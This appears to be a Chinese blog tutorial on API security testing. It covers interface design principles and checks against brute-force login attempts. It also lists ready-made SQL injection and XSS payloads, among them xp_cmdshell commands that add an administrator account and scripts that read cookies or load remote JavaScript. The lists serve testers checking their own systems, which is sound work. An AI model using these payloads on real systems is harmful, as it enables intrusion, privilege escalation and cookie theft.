超详细基于接口的安全测试讲解

一、接口测试安全场景

相信大家都曾经为黄牛票而愤愤不平吧,但你只能忍气吞声,毕竟懂技术的流氓更可怕,像携程加速、飞猪加速也用过吧,这种流氓更让人无可奈何。

其实了解了接口测试,就不再去“神话“他们“黄牛逼”。

无非就是在一定的授权范围内,不断的批量去请求12306的购票端口,借助自身更大的带宽和算力去pk我们普通用户而已,在12306出了候补后,基本就没啥用了。

安全测试说白了就是攻与防的问题,知己知彼才能百战百胜。

二、接口安全设计的原则

现在前后段分离式设计,web系统、APP的接口都采用restful架构,restful最重要的一个设计原则就是客户端与服务端的交互在请求之间是无状态的,并采用token的认证方式,以便在多端设备进行鉴权。

1、尽量使用更安全的https协议报文

2、接口参数采用非对称加密算法进行签名

3、接口参数需要校验,如表单提交使用验证码进行校验

4、多次失败后需要有锁定机制,防止爆破

5、接口对应用户权限,用户只能调用有权限的接口

6、系统接口做过负荷机制用来保护系统安全

7、接口尽量少返回服务错误信息给用户

三、接口安全测试

1、sql注入

Sql注入可以算是最常见的一种攻击手段了,作为测试人员,一定要熟悉各种sql注入的手段,在测试过程中就封堵这个风险,当然现在的很多开发框架也具备了防范sql注入的能力。

测试中,我们需要设置如下的注入案例:

admin'--
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 #
" or 0=0 #
or 0=0 #
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
hi' or 'a'='a
hi') or ('a'='a
hi") or ("a"="a[/code]
'and  (   )   exec   insert   *   %   chr   mid
and 1=1 ; And 1=1 ; aNd 1=1 ; char(97)char(110)char(100) char(49)char(61)char(49);%20AND%201=2
'and 1=1    ;  'And  1=1   ;   'aNd   1=1   ;
and 1=2    ;   'and 1=2
and 2=2
and user>0
and (select count(*) from sysobjects)>0
and (select count(*) from msysobjects)>0
and (Select Count(*) from Admin)>=0
and (select top 1 len(username) from Admin)>0(username 已知字段)
;exec master..xp_cmdshell "net user name password /add"--
;exec master..xp_cmdshell "net localgroup name administrators /add"--
and 0<>(select count(*) from admin)

2、xss攻击

利用XSS的攻击者进行攻击时会向页面插入恶意Script代码,当用户浏览该页面时,嵌入在页面里的Script代码会被执行,从而达到攻击用户的目的。同样会造成用户的认证信息被获取,仿冒用户登录,造成用户信息泄露等危害。

测试中,我们需要设置如下的xss攻击案例:

><scrīpt>alert(document.cookie)</scrīpt>
='><scrīpt>alert(document.cookie)</scrīpt>
<scrīpt>alert(document.cookie)</scrīpt>
<scrīpt>alert(helloworld)</scrīpt>
%3Cscrīpt%3Ealert('XSS')%3C/scrīpt%3E
<scrīpt>alert('XSS')</scrīpt>
<img src="javascrīpt:alert('XSS')">
<scrīpt>alert('linda is ok');</scrīpt>
<scrīpt>alert('Vulnerable')</scrīpt>
?sql_debug=1
a%5c.aspx
a.jsp/<scrīpt>alert('Vulnerable')</scrīpt>
a/
a?<scrīpt>alert('Vulnerable')</scrīpt>
"><scrīpt>alert('Vulnerable')</scrīpt>
';exec%20master..xp_cmdshell%20'dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt'--&&
%22%3E%3Cscrīpt%3Ealert(document.cookie)%3C/scrīpt%3E
%3Cscrīpt%3Ealert(document. domain);%3C/scrīpt%3E&
%3Cscrīpt%3Ealert(document.domain);%3C/scrīpt%3E&SESSION_ID={SESSION_ID}&SESSION_ID=
1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname=
<IMG SRC="jav ascrīpt:alert('XSS');">
<IMG SRC="jav ascrīpt:alert('XSS');">
<IMG SRC="jav ascrīpt:alert('XSS');">
"<IMG SRC=java\0scrīpt:alert(\"XSS\")>";' > out
<IMG SRC=" javascrīpt:alert('XSS');">
<scrīpt>a=/XSS/alert(a.source)</scrīpt>
<BODY BACKGROUND="javascrīpt:alert('XSS')">
<BODY ōNLOAD=alert('XSS')>
<IMG DYNSRC="javascrīpt:alert('XSS')">
<IMG LOWSRC="javascrīpt:alert('XSS')">
<BGSOUND SRC="javascrīpt:alert('XSS');">
<br size="&{alert('XSS')}">
<LAYER SRC="http://xss.ha.ckers.org/a.js"></layer>
<LINK REL="stylesheet" HREF="javascrīpt:alert('XSS');">
<IMG SRC='vbscrīpt:msgbox("XSS")'>
<IMG SRC="mocha:[code]">
<IMG SRC="livescrīpt:[code]">
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascrīpt:alert('XSS');">
SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">
<scrīpt a=">" SRC="http://xss.ha.ckers.org/a.js"></scrīpt>
<scrīpt =">" SRC="http://xss.ha.ckers.org/a.js"></scrīpt>
<scrīpt a=">" '' SRC="http://xss.ha.ckers.org/a.js"></scrīpt>
<scrīpt "a='>'" SRC="http://xss.ha.ckers.org/a.js"></scrīpt>
<scrīpt>document.write("<SCRI");</scrīpt>PT SRC="http://xss.ha.ckers.org/a.js"></scrīpt>
<A HREF=http://www.gohttp://www.google.com/ogle.com/>link</A>

3、用户账号及暴力攻击

用户账号信息是访问系统获取服务的最关键的一环,如果泄露了信息就没有任何安全可言,通过利用账户登录接口大量猜测和穷举的方式来尝试获取用户口令。就是猜口令咯,攻击者一直枚举进行请求,通过对比数据包的长度可以很好的判断是否爆破成功,因为爆破成功和失败的长度是不一样的,所以可以很好的判断是否爆破成功。

作为测试人员,需要对账户信息进行如下测试:

检测接口程序连接登录时,是否需要输入相应的用户是否设置密码最小长度

用户名和密码中是否可以有空格或回车?是否允许密码和用户名一致防恶意注册:可否用自动填表工具自动注册用户

遗忘密码处理是否有校验码?密码错误次数有无限制?大小写敏感?口令不允许以明码显示在输出设备上强制修改的时间间隔限制(初始默认密码)口令的唯一性限制(看需求是否需要)口令过期失效后,是否可以不登陆而直接浏览某个页面。

最后感谢每一个认真阅读我文章的人,看着粉丝一路的上涨和关注,礼尚往来总是要有的,虽然不是什么很值钱的东西,如果你用得到的话可以直接拿走! 希望能帮助到你!【100%无套路免费领取】

  • 9
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值